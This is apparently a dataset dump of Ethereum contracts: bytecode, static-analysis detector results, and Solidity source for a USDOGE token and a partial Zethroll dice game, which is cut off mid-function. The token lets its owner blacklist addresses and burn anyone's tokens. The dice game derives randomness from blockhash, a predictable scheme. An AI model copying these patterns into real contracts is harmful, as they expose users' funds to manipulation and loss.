600020600201819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600960008b8152602001908152602001600020549080600181540180825580915050600190039060005260206000200160009091909190915055600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040161427c82611749565b9080600181540180825580915050600190039060005260206000200160009091909190915055600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160019080600181540180825580915050600190039060005260206000200160009091909190915055883373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f7630b7dd8ad8bdf6478cf39a9cedd305bc3e7505c84289b12c4045de3cf05db7426040518082815260200191505060405180910390a45b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501561445657883373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7630b7dd8ad8bdf6478cf39a9cedd305bc3e7505c84289b12c4045de3cf05db7426040518082815260200191505060405180910390a45b505050505050505050565b8280548282559060005260206000209081019282156144da579160200282015b828111156144d95782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190614481565b5b5090506144e7919061450f565b5090565b6040518061cc00016040528061066090602082028036833780820191505090505090565b61454f91905b8082111561454b57600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101614515565b5090565b9056fea264697066735822122098a5a9e8fbfee7f15bdcf20f09ae3df806bd1c73b775b3c993523114537731cf64736f6c63430006030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "msg-value-loop", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 9,343 |
0xcdb8ceabf7f5ca49039404f6a20f54421aca983e
|
/*
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract USDOGE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d691914610510578063dd62ed3e14610536578063df698fc914610564578063f2fde38b1461058a57610173565b806395d89b41146104b0578063a457c2d7146104b8578063a9059cbb146104e457610173565b806370a08231146103c7578063715018a6146103ed5780637238ccdb146103f5578063787f02331461043457806384d5d9441461045a5780638da5cb5b1461048c57610173565b8063313ce56711610130578063313ce567146102d157806339509351146102ef5780633d72d6831461031b57806352a97d5214610347578063569abd8d1461036d5780635e558d221461039557610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806319f9a20f1461024f57806323b872dd1461027557806324d7806c146102ab575b600080fd5b6101806105b0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b038135169060200135610646565b604080519115158252519081900360200190f35b61023d610663565b60408051918252519081900360200190f35b6102216004803603602081101561026557600080fd5b50356001600160a01b0316610669565b6102216004803603606081101561028b57600080fd5b506001600160a01b038135811691602081013590911690604001356106e5565b610221600480360360208110156102c157600080fd5b50356001600160a01b031661076c565b6102d961078a565b6040805160ff9092168252519081900360200190f35b6102216004803603604081101561030557600080fd5b506001600160a01b038135169060200135610793565b6102216004803603604081101561033157600080fd5b506001600160a01b0381351690602001356107e1565b6102216004803603602081101561035d57600080fd5b50356001600160a01b031661084a565b6103936004803603602081101561038357600080fd5b50356001600160a01b03166108b2565b005b610221600480360360608110156103ab57600080fd5b506001600160a01b0381351690602081013590604001356109d0565b61023d600480360360208110156103dd57600080fd5b50356001600160a01b0316610a46565b610393610a61565b61041b6004803603602081101561040b57600080fd5b50356001600160a01b0316610b0e565b6040805192835260208301919091528051918290030190f35b6102216004803603602081101561044a57600080fd5b50356001600160a01b0316610b55565b6102216004803603606081101561047057600080fd5b506001600160a01b038135169060208101359060400135610bbd565b610494610c3a565b604080516001600160a01b039092168252519081900360200190f35b610180610c4e565b610221600480360360408110156104ce57600080fd5b506001600160a01b038135169060200135610caf565b610221600480360360408110156104fa57600080fd5b506001600160a01b038135169060200135610d17565b6102216004803603602081101561052657600080fd5b50356001600160a01b0316610d2b565b61023d6004803603604081101561054c57600080fd5b506001600160a01b0381358116916020013516610d49565b6103936004803603602081101561057a57600080fd5b50356001600160a01b0316610d74565b610393600480360360208110156105a057600080fd5b50356001600160a01b0316610ea9565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b820191906000526020600020905b81548152906001019060200180831161061f57829003601f168201915b5050505050905090565b600061065a610653611013565b8484611017565b50600192915050565b60055490565b600060026000610677611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146106d45760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b6106dd82611103565b506001919050565b60006106f28484846111b2565b610762846106fe611013565b61075d85604051806060016040528060288152602001611bcc602891396001600160a01b038a1660009081526004602052604081209061073c611013565b6001600160a01b03168152602081019190915260400160002054919061151d565b611017565b5060019392505050565b6001600160a01b031660009081526002602052604090205460ff1690565b60085460ff1690565b600061065a6107a0611013565b8461075d85600460006107b1611013565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fb2565b60006107eb611013565b60085461010090046001600160a01b03908116911614610840576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b61065a83836115b4565b6000610854611013565b60085461010090046001600160a01b039081169116146108a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826116b0565b6108ba611013565b60085461010090046001600160a01b0390811691161461090f576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16156109675760405162461bcd60e51b8152600401808060200182810382526021815260200180611cc66021913960400191505060405180910390fd5b6001600160a01b0381166109ac5760405162461bcd60e51b8152600401808060200182810382526026815260200180611b4e6026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000600260006109de611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610a3b5760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b61076284848461179c565b6001600160a01b031660009081526020819052604090205490565b610a69611013565b60085461010090046001600160a01b03908116911614610abe576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b60085460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360088054610100600160a81b0319169055565b6001600160a01b03811660009081526003602052604081206001810154829190421115610b42576000809250925050610b50565b805460019091015490925090505b915091565b6000610b5f611013565b60085461010090046001600160a01b03908116911614610bb4576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826118e3565b600060026000610bcb611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610c285760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b610a3b610c33611013565b85856111b2565b60085461010090046001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b600061065a610cbc611013565b8461075d85604051806060016040528060258152602001611ca16025913960046000610ce6611013565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061151d565b600061065a610d24611013565b84846111b2565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610d7c611013565b60085461010090046001600160a01b03908116911614610dd1576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff161515600114610e43576040805162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a2061646472657373206973206e6f742061646d696e000000604482015290519081900360640190fd5b6001600160a01b038116610e885760405162461bcd60e51b8152600401808060200182810382526026815260200180611b286026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19169055565b610eb1611013565b60085461010090046001600160a01b03908116911614610f06576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b038116610f4b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a986026913960400191505060405180910390fd5b6008546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561100c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661105c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611c5a6024913960400191505060405180910390fd5b6001600160a01b0382166110a15760405162461bcd60e51b8152600401808060200182810382526022815260200180611abe6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03811660008181526003602052604090209061116d576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b60006001820181905580825560405181906001600160a01b038516907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf08685580908390a45050565b6001600160a01b0383166000818152600360205260409020906112065760405162461bcd60e51b8152600401808060200182810382526025815260200180611c356025913960400191505060405180910390fd5b6001600160a01b03831661124b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a306023913960400191505060405180910390fd5b6001600160a01b03841660009081526001602052604090205460ff16156112b2576040805162461bcd60e51b8152602060048201526016602482015275022a92199181d1039b2b73232b91030b2323932b9b9960551b604482015290519081900360640190fd5b6112bd8484846119e8565b80541561144657806001015442111561136657600060018201819055815560408051606081019091526026808252611319918491611b0260208301396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546113489083610fb2565b6001600160a01b038416600090815260208190526040902055611441565b60006113a98260000154604051806060016040528060228152602001611ae0602291396001600160a01b038816600090815260208190526040902054919061151d565b90506113d083604051806060016040528060268152602001611b026026913983919061151d565b6001600160a01b038616600090815260208190526040902081905582546113f79190610fb2565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546114269084610fb2565b6001600160a01b038516600090815260208190526040902055505b6114cc565b61148382604051806060016040528060268152602001611b02602691396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546114b29083610fb2565b6001600160a01b0384166000908152602081905260409020555b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600081848411156115ac5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611571578181015183820152602001611559565b50505050905090810190601f16801561159e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166115f95760405162461bcd60e51b8152600401808060200182810382526021815260200180611c146021913960400191505060405180910390fd5b611605826000836119e8565b61164281604051806060016040528060228152602001611a76602291396001600160a01b038516600090815260208190526040902054919061151d565b6001600160a01b03831660009081526020819052604090205560055461166890826119ed565b6005556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0381166116f55760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff161561174d5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a536023913960400191505060405180910390fd5b6001600160a01b0381166000818152600160208190526040808320805460ff191683179055519092917f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c291a350565b6001600160a01b038316600081815260036020526040902090611806576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b80546118129084610fb2565b6001600160a01b03851660009081526020819052604090205410156118685760405162461bcd60e51b8152600401808060200182810382526030815260200180611b746030913960400191505060405180910390fd5b6000816001015411801561187f5750806001015442115b156118905760006001820181905581555b6001810182905580546118a39084610fb2565b8082556040518391906001600160a01b038716907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558090600090a450505050565b6001600160a01b0381166119285760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff1615151461199b576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2041646472657373206e6f7420626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055519091907f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c2908390a350565b505050565b600061100c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061151d56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea2646970667358221220121516d17af92dafa3dc013dc4b17a9775e25e0efa479afa06727954b2554f4864736f6c63430007030033
|
{"success": true, "error": null, "results": {}}
| 9,344 |
0xe066145a0d20b09835111b40667aa6c498eb1911
|
pragma solidity ^0.4.23;
/*
* Zethroll.
*
* Adapted from PHXRoll, written in March 2018 by TechnicalRise:
* https://www.reddit.com/user/TechnicalRise/
*
* Adapted for Zethr by Norsefire and oguzhanox.
*
* Gas golfed by Etherguy
* Audited & commented by Klob
*/
contract ZTHReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function getFrontEndTokenBalanceOf(address who) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zethroll is ZTHReceivingContract {
using SafeMath for uint;
// Makes sure that player profit can't exceed a maximum amount,
// that the bet size is valid, and the playerNumber is in range.
modifier betIsValid(uint _betSize, uint _playerNumber) {
require( calculateProfit(_betSize, _playerNumber) < maxProfit
&& _betSize >= minBet
&& _playerNumber > minNumber
&& _playerNumber < maxNumber);
_;
}
// Requires game to be currently active
modifier gameIsActive {
require(gamePaused == false);
_;
}
// Requires msg.sender to be owner
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// Constants
uint constant private MAX_INT = 2 ** 256 - 1;
uint constant public maxProfitDivisor = 1000000;
uint constant public maxNumber = 99;
uint constant public minNumber = 2;
uint constant public houseEdgeDivisor = 1000;
// Configurables
bool public gamePaused;
address public owner;
address public ZethrBankroll;
address public ZTHTKNADDR;
ZTHInterface public ZTHTKN;
uint public contractBalance;
uint public houseEdge;
uint public maxProfit;
uint public maxProfitAsPercentOfHouse;
uint public minBet = 0;
// Trackers
uint public totalBets;
uint public totalZTHWagered;
// Events
// Logs bets + output to web3 for precise 'payout on win' field in UI
event LogBet(address sender, uint value, uint rollUnder);
// Outputs to web3 UI on bet result
// Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send
event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won);
// Logs owner transfers
event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred);
// Logs changes in maximum profit
event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit);
// Logs current contract balance
event CurrentContractBalance(uint _tokens);
constructor (address zthtknaddr, address zthbankrolladdr) public {
// Owner is deployer
owner = msg.sender;
// Initialize the ZTH contract and bankroll interfaces
ZTHTKN = ZTHInterface(zthtknaddr);
ZTHTKNADDR = zthtknaddr;
// Set the bankroll
ZethrBankroll = zthbankrolladdr;
// Init 990 = 99% (1% houseEdge)
houseEdge = 990;
// The maximum profit from each bet is 10% of the contract balance.
ownerSetMaxProfitAsPercentOfHouse(10000);
// Init min bet (1 ZTH)
ownerSetMinBet(1e18);
// Allow 'unlimited' token transfer by the bankroll
ZTHTKN.approve(zthbankrolladdr, MAX_INT);
}
function() public payable {} // receive zethr dividends
// Returns a random number using a specified block number
// Always use a FUTURE block number.
function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) {
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy)
));
}
// Random helper
function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
// Calculate the maximum potential profit
function calculateProfit(uint _initBet, uint _roll)
private
view
returns (uint)
{
return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet;
}
// I present a struct which takes only 20k gas
struct playerRoll{
uint200 tokenValue; // Token value in uint
uint48 blockn; // Block number 48 bits
uint8 rollUnder; // Roll under 8 bits
}
// Mapping because a player can do one roll at a time
mapping(address => playerRoll) public playerRolls;
function _playerRollDice(uint _rollUnder, TKN _tkn) private
gameIsActive
betIsValid(_tkn.value, _rollUnder)
{
require(_tkn.value < ((2 ** 200) - 1)); // Smaller than the storage of 1 uint200;
require(block.number < ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint48
// Note that msg.sender is the Token Contract Address
// and "_from" is the sender of the tokens
// Check that this is a ZTH token transfer
require(_zthToken(msg.sender));
